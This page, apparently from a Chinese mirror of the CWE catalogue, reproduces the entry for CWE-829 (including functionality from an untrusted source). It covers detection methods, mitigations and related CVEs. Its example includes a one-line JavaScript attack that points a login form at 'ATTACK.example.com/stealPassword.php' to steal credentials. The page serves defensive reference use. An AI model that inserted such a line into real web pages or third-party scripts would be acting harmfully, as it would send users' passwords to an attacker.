CWE-829 从非可信控制范围包含功能例程

  • A+
所属分类:CWE(弱点枚举)

CWE-829 从非可信控制范围包含功能例程

Inclusion of Functionality from Untrusted Control Sphere

结构: Simple

Abstraction: Base

状态: Incomplete

被利用可能性: unkown

基本描述

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

扩展描述

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

相关缺陷

  • cwe_Nature: ChildOf cwe_CWE_ID: 669 cwe_View_ID: 1000 cwe_Ordinal: Primary

  • cwe_Nature: ChildOf cwe_CWE_ID: 669 cwe_View_ID: 1003 cwe_Ordinal: Primary

  • cwe_Nature: ChildOf cwe_CWE_ID: 669 cwe_View_ID: 699 cwe_Ordinal: Primary

常见的影响

范围 影响 注释
['Confidentiality', 'Integrity', 'Availability'] Execute Unauthorized Code or Commands An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.

检测方法

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

可能的缓解方案

MIT-4 Architecture and Design

策略: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

MIT-21.1 Architecture and Design

策略: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

MIT-15 Architecture and Design

策略:

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

MIT-22 ['Architecture and Design', 'Operation']

策略: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

MIT-17 ['Architecture and Design', 'Operation']

策略: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

MIT-5.1 Implementation

策略: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

MIT-34 ['Architecture and Design', 'Operation']

策略: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

MIT-6 ['Architecture and Design', 'Implementation']

策略: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

MIT-29 Operation

策略: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

示例代码

This login webpage includes a weather widget from an external website:

bad HTML

Welcome!

Please Login:


Username:

Password:

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

attack JavaScript


...Weather widget code....

document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

分析过的案例

标识 说明 链接
CVE-2010-2076 Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076
CVE-2004-0285 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0285
CVE-2004-0030 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0030
CVE-2004-0068 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0068
CVE-2005-2157 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2157
CVE-2005-2162 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2162
CVE-2005-2198 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2198
CVE-2004-0128 Modification of assumed-immutable variable in configuration script leads to file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0128
CVE-2005-1864 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1864
CVE-2005-1869 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1869
CVE-2005-1870 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1870
CVE-2005-2154 PHP local file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2154
CVE-2002-1704 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1704
CVE-2002-1707 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1707
CVE-2005-1964 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1964
CVE-2005-1681 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1681
CVE-2005-2086 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2086
CVE-2004-0127 Directory traversal vulnerability in PHP include statement. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0127
CVE-2005-1971 Directory traversal vulnerability in PHP include statement. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1971
CVE-2005-3335 PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3335

相关攻击模式

  • CAPEC-175
  • CAPEC-201
  • CAPEC-228
  • CAPEC-251
  • CAPEC-252
  • CAPEC-253
  • CAPEC-263
  • CAPEC-549

引用

文章来源于互联网:scap中文网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: